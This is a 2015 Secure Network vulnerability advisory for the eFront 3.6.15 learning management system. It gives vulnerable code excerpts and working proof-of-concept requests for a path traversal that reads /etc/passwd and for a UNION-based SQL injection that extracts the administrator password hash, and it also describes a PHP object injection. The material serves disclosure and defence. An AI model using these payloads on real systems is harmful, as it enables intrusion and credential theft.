Security Research Advisory efront 3.6.15 Multiple Vulnerabilities info@securenetwork.it (+39) 02 9177 3041 Italia PoliHub Via Giovanni Durando, 39 20158 Milano United Kingdom New Bridge Street House 30-34, New Bridge Street EC4V 6BJ, London
Table of Contents SUMMARY PATH TRAVERSAL VULNERABILITY DETAILS TECHNICAL DETAILS MULTIPLE SQL INJECTIONS VULNERABILITY DETAILS TECHNICAL DETAILS FURTHER CONSIDERATIONS LEGAL NOTICES 3 4 4 4 7 7 7 10 11 Secure Network Security Research Advisory efront 3.6.15 Multiple Vulnerabilities 2
Summary efront is an open source Learning Management System (LMS) used to create and manage online training courses. From Wikipedia: efront is designed to assist with the creation of online learning communities while offering various opportunities for collaboration and interaction through an icon- based user interface. The platform offers tools for content creation, tests building, assignments management, reporting, internal messaging, forum, chat, surveys, calendar and others. Multiple vulnerabilities have been identified in efront version 3.6.15. Lack of proper sanitization leads to a critical Path Traversal vulnerability and multiple SQL injections. Date Details 13/04/2015 Vendor disclosure n/a n/a Vendor acknowledgment Patch release 01/05/2015 Public disclosure
Path Traversal Path Traversal Advisory Number SN- 15-02 Severity Software Version Accessibility CVE Author(s) H efront 3.6.15 Remote n/a Vendor URL Advisory URL www.efrontlearning.net - Luca De Fulgentis Filippo Roncari Vulnerability Details efront 3.6.15 is prone to a critical path traversal vulnerability involving the view_file.php module, due to improper user- input sanitization and unsafe inner normalize() function logic. An attacker could exploit this vulnerability by manipulating http parameter value in order to climb the directories tree and access arbitrary files on the remote file system. This issue can lead to critical confidentiality violations, depending on the privileges assigned to the application server. Technical Details Description Attachments and documents download is performed through the view_file.php module. The file is requested through the file parameter, which is then used to instantiate a new EfrontFile object (defined in filesystem.class.php). An EfrontFile object can be created from a file ID, a database record, an array and, obviously, a file path. In the object constructor the path contained in file parameter is firstly normalised to obtain the real absolute path and to avoid the injection of malicious characters sequences, such as../. After that, some checks are performed in order to assure that only existing files within the efront base path (G_ROOTPATH) can be downloaded. The described steps are part of the code snippet reported below. File: libraries/filesystem.class.php Function: construct() [EfrontFile class] function construct($file) { if (is_array($file)) { //Instantiate object based on the given array $file['path'] = EfrontDirectory :: normalize($file['path']); if (strpos($file['path'], G_ROOTPATH) === false) { $file['path'] = G_ROOTPATH.$file['path']; $filearray = $file; else { if (ef_checkparameter($file, 'id')) { //Instantiate object based on id $result = ef_gettabledata("files", "*", "id=".$file, "id"); elseif (ef_checkparameter($file, 'path')) { //id-based instantiation failed; Check if the full path is specified $file = EfrontDirectory :: normalize($file); $result = ef_gettabledata("files", "*", "path='".str_replace(g_rootpath, '', ef_addslashes(efrontdirectory :: normalize($file)))."'", "id"); //ef_addslashes for files containing ' Secure Network Security Research Advisory efront 3.6.15 Multiple Vulnerabilities 4
else { throw new EfrontFileException(_ILLEGALPATH.': '.efront_basename($file), EfrontFileException :: ILLEGAL_PATH); [ ] if (is_file($file) && strpos($file, G_ROOTPATH)!== false) { //Create object without database information $filearray = array('id' => -1, //Set 'id' to -1, meaning this file has not a database representation 'path' => $file); else if (strpos($file, G_ROOTPATH) === false) { throw new EfrontFileException(_ILLEGALPATH.': '.efront_basename($file), EfrontFileException :: ILLEGAL_PATH); else { throw new EfrontFileException(_FILEDOESNOTEXIST.': '.efront_basename($file), EfrontFileException :: FILE_NOT_EXIST); At a first sight, it seems to be quite enough secure because if the path is correctly normalised there would be no chance to inject an arbitrary path that contains also the G_ROOTPATH (efront base directory), using, for example, a dot- dot- slash sequence. However, a deeper analysis highlighted some interesting issues in the normalize() function logic. File: libraries/filesystem.class.php Function: normalize() public static function normalize($path) { $realpath = realpath($path); if ($realpath && file_exists($realpath)) { if (DIRECTORY_SEPARATOR == "\\") { return rtrim(str_replace("\\", "/", $realpath), "/"); else { return rtrim($realpath, "/"); else { if (DIRECTORY_SEPARATOR == "\\") { return rtrim(str_replace("\\", "/", $path), "/"); else { return rtrim($path, "/"); At start, the given $path is canonicalized through the realpath() PHP function. However, if the requested file does not exist or if realpath() fails, the original not- normalized $path variable is used in the else branch and the final slash is trimmed. This seemingly harmless operation is a key point of the vulnerability. Indeed, we should be able to exploit the identified issues, injecting a properly crafted path to a valid file making it appear invalid by the addition of a trailing /, in order to bypass the realpath() canonicalization. Thus, we can also traverse the directories to enter and exit the efront base path, bypassing in this way the construct() G_ROOTPATH check. A working Proof of Concept (PoC) is shown below. Proof of Concept PoC URL: http://target.site/www/view_file.php?action=download&file=/[efront_base_path]/../../../../../../etc/passwd/ HTTP Request: GET /test/efront/www/view_file.php?action=download&file=/applications/mamp/htdocs/test/efront/../../../../../etc/passwd/ HTTP/1.1 Host: localhost
Cookie: display_all_courses=1; PHPSESSID=d36bed784e063e65cf31721f8ec7a0bd; SQLiteManager_currentLangue=6; PHPSESSID=d36bed784e063e65cf31721f8ec7a0bd; parent_sid=d36bed784e063e65cf31721f8ec7a0bd HTTP Response: HTTP/1.1 200 OK Date: Mon, 30 Mar 2015 13:20:43 GMT Content-Description: File Transfer Content-Disposition: attachment; filename="passwd" Content-Transfer-Encoding: binary Expires: 0 Cache-Control: must-revalidate, post-check=0, pre-check=0 Pragma: public Content-Length: 5253 Content-Type: application/download ## # User Database # # Note that this file is consulted directly only when the system is running # in single-user mode. At other times this information is provided by # Open Directory. # # See the opendirectoryd(8) man page for additional information about # Open Directory. ## nobody:*:-2:-2:unprivileged User:/var/empty:/usr/bin/false root:*:0:0:system Administrator:/var/root:/bin/sh daemon:*:1:1:system Services:/var/root:/usr/bin/false _uucp:*:4:4:unix to Unix Copy Protocol:/var/spool/uucp:/usr/sbin/uucico _taskgated:*:13:13:task Gate Daemon:/var/empty:/usr/bin/false _networkd:*:24:24:network Services:/var/networkd:/usr/bin/false [ ] Secure Network Security Research Advisory efront 3.6.15 Multiple Vulnerabilities 6
Multiple SQL Injections Multiple SQL Injections Advisory Number SN- 15-02 Severity Software Version Accessibility CVE Author(s) H efront 3.6.15 Remote n/a Vendor URL Advisory URL www.efrontlearning.net - Luca De Fulgentis Filippo Roncari Vulnerability Details The new_sidebar.php module, which handles the left side bar in efront 3.6.15 default theme, is affected by multiple SQL injection vulnerabilities due to lack of user input sanitization. The identified issues allow unprivileged users, such as professors and students (under certain conditions), to inject arbitrary SQL statements. An attacker could exploit the vulnerabilities by sending specially crafted requests to the web application. These issues can lead to data theft, data disruption, account violation and other impacts depending on the DBMS s user privileges. Technical Details Description Two SQL injections exist in new_sidebar.php, whose vulnerable source code is reported below. Both can be triggered through the new_lesson_id parameter, whose content is stored inside $_SESSION['s_lessons_ID']. File: www/new_sidebar.php Function: if (isset($_get['new_lesson_id']) && $_GET['new_lesson_id']) { // This is a lesson specific menu $_SESSION['s_lessons_ID'] = $_GET['new_lesson_id']; if (!isset($currentlesson)) { $currentlesson = new EfrontLesson($_GET['new_lesson_id']); $lessonmenu = ef_getmenu(); //INJECTION POINT #1 $lessons = ef_gettabledata("users_to_lessons ul, lessons l", "l.name","ul.archive =0 and ul.users_login='".$_session['s_login']."' AND ul.active=1 AND l.id=ul.lessons_id AND l.active=1 AND l.id = '".$_GET['new_lesson_id']."'"); //INJECTION POINT #2 The first one affects the ef_getmenu() function, defined in tool.php, while the second one is observable in the line immediately after, in which the GET parameter new_lesson_id is included without sanitization in a SQL WHERE clause. The following is an excerpt of the ef_getmenu() function, which handles the sidebar menu content.
File: libraries/tools.php Function: ef_getmenu() if (EfrontUser::isOptionVisible('forum')) { $forums_id = ef_gettabledata("f_forums", "id", "lessons_id=".$_session['s_lessons_id']); if (sizeof($forums_id) > 0) { $menu['lesson']['forum'] = array('title' => _FORUM, 'link' => $_SESSION['s_type'].'.php?ctg=forum&forum='.$forums_id[0]['id'],'image' => 'message', 'id' => 'forum_a'); else { $menu['lesson']['forum'] = array('title' => _FORUM, 'link' => $_SESSION['s_type'].".php?ctg=forum",'image' => 'message', 'id' => 'forum_a'); As said before, the content of the new_lesson_id parameter is also copied, without being sanitized, inside $_SESSION[ s_lessons_id ], which is then included into a SQL query executed again through ef_gettabledata(), thus leading to injection of arbitrary SQL statements. Note: some important elements must be considered in the exploitation phase. 1. Before reaching the vulnerable sinks in new_sidebar.php, a if (!isset($currentlesson)) check is performed. If it fails, a new EfrontLesson object is instantiated from the new_lesson_id parameter. This must be avoided because the class constructor performs a validity check on the given ID throwing an exception in case of error, preventing vulnerable code from being executed. To set the $currentlesson variable an attacker could simply access a lesson (clicking on any open lesson) before executing the malicious request. 2. Students have further limitations, because of the following piece of code. File: libraries/tools.php Function: ef_getmenu() case 'student': if ($_SESSION['s_lessons_ID']!= false) { $menu['lesson']['control_panel'] = array('title' => _MAINPAGE, 'link' => 'student.php?ctg=control_panel', 'image' => 'home', 'target' => "mainframe", 'id' => 'lesson_main_a'); if ($GLOBALS['currentUser'] -> coreaccess['content']!= 'hidden') { $currentcontent = new EfrontContentTree($_SESSION['s_lessons_ID']); Exactly as before, the EfrontContentTree() constructor will throw an exception if the requested lesson ID is not valid, which is true when a query is injected. To avoid this, a potential attacker has to access a lesson for which his User Type has content set to hidden. User Types are sort of groups of users with specific role options and are managed by the administrators. Proof of Concept The following PoC shows the exploitation of the ef_getmenu() vulnerability, which can be easily exploited by joining an arbitrary SQL query through the UNION operator. During exploitation, take into account that in the second injection the user input is enclosed between quotes while in the first one is not, thus the injection of payloads containing single quotes should be avoided. HTTP Request: GET /test/efront/www/new_sidebar.php?sbctg=lessons&new_lesson_id=null+union+select+password+from+users+where+id=1 HTTP/1.1 Secure Network Security Research Advisory efront 3.6.15 Multiple Vulnerabilities 8
Host: localhost Cookie: professor_sidebar=visible; SQLiteManager_currentLangue=2; PHPSESSID=dfa71c291f229b4b3b4e5bde43a844f2; parent_sid=dfa71c291f229b4b3b4e5bde43a844f2; professor_sidebarmode=automatic The administrator password hash is returned directly as part of the forum link in the sidebar menu. HTTP Response: HTTP/1.1 200 OK Date: Thu, 09 Apr 2015 22:42:19 GMT Expires: Mon, 26 Jul 1997 05:00:00 GMT Content-Type: text/html Content-Length: 28786 [ ] <div class = "menuoption" name="lessonspecific" id="forum_a" > <table> <tr> <td> <a href = "professor.php?ctg=forum&forum=11ff89cb38b258fb50fe8672c18ff79b" target="mainframe"> <img src='themes/default/images/others/transparent.gif' class = 'handle sprite16 sprite16-message' > </a> </td> <td class = "menulistoption" > <a href = "professor.php?ctg=forum&forum=11ff89cb38b258fb50fe8672c18ff79b" title="forum" target="mainframe">forum</a> </td> </tr> </table> </div> [ ]
Further Considerations A PHP Object Injection issue affects the copy.php script, which handles the copying of content between lessons, and others probably exist, due to the frequent use of deserialization operations on non- sanitized user input. A common way to exploit this vulnerability is to find a PHP magic method (http://php.net/manual/en/language.oop5.magic.php) that can be abused and inject a properly crafted arbitrary object in order to trigger it. File: libraries/includes/copy.php Function: if ($_GET['transfered']) { $transferednodescheck = unserialize($_get['transfered']); $copiedtests = array(); $copiedunits = array(); $map = array(); foreach ($nodeorders as $value) { list($id, $parentcontentid) = explode("-", $value); if (!in_array($id, $transferednodescheck)) { The injection affects the transfered parameter, as shown in the following exemplifying HTTP communication. HTTP Request: GET /test/efront/www/professor.php?ctg=copy&from=8&node_orders=&transfered=[serialized_arbitrary_object]&mode&a jax=ajax&csrf_id=6ebb0b3aee60a1764e780e8494985a8e HTTP/1.1 Host: localhost Proxy-Connection: keep-alive Accept: text/javascript, text/html, application/xml, text/xml, */* X-Prototype-Version: 1.7 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.118 Safari/537.36 Referer: http://localhost:8888/test/efront/www/professor.php?ctg=copy&from=8 Cookie: display_all_courses=1; setformrowshidden=0; PHPSESSID=6ebb0b3aee60a1764e780e8494985a8e; SQLiteManager_currentLangue=2; PHPSESSID=6ebb0b3aee60a1764e780e8494985a8e; professor_sidebar=hidden; professor_sidebarmode=automatic; parent_sid=6ebb0b3aee60a1764e780e8494985a8e Although a deeper analysis has not been performed, no useful PHP magic methods (http://php.net/manual/it/language.oop5.magic.php) have been identified in order to exploit this specific vulnerability. Because the unmarshalled user input $transferednodescheck is exclusively used within an in_array() call, only wakeup() and destruct() methods could be abused to exploit the issue. However, none of those lends itself to the purpose. The vulnerability could still be abused in case of PHP vulnerable version (e.g., CVE- 2014-8142). Moreover, further analysis or future efront updates could open unexpected attack scenarios with high impact consequences. Secure Network Security Research Advisory efront 3.6.15 Multiple Vulnerabilities 10
Legal Notices Secure Network (www.securenetwork.it) is an information security company, which provides consulting and training services, and engages in security research and development. We are committed to open, full disclosure of vulnerabilities, cooperating with software developers for properly handling disclosure issues. This advisory is copyright 2015 Secure Network S.r.l. Permission is hereby granted for the redistribution of this alert, provided that it is not altered except by reformatting it, and that due credit is given. It may not be edited in any way without the express consent of Secure Network S.r.l. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to Secure Network. The information in the advisory is believed to be accurate at the time of publishing based on currently available information. This information is provided as- is, as a free service to the community by Secure Network research staff. There are no warranties with regard to this information. Secure Network does not accept any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information. If you have any comments or inquiries, or any issue with what is reported in this advisory, please inform us as soon as possible.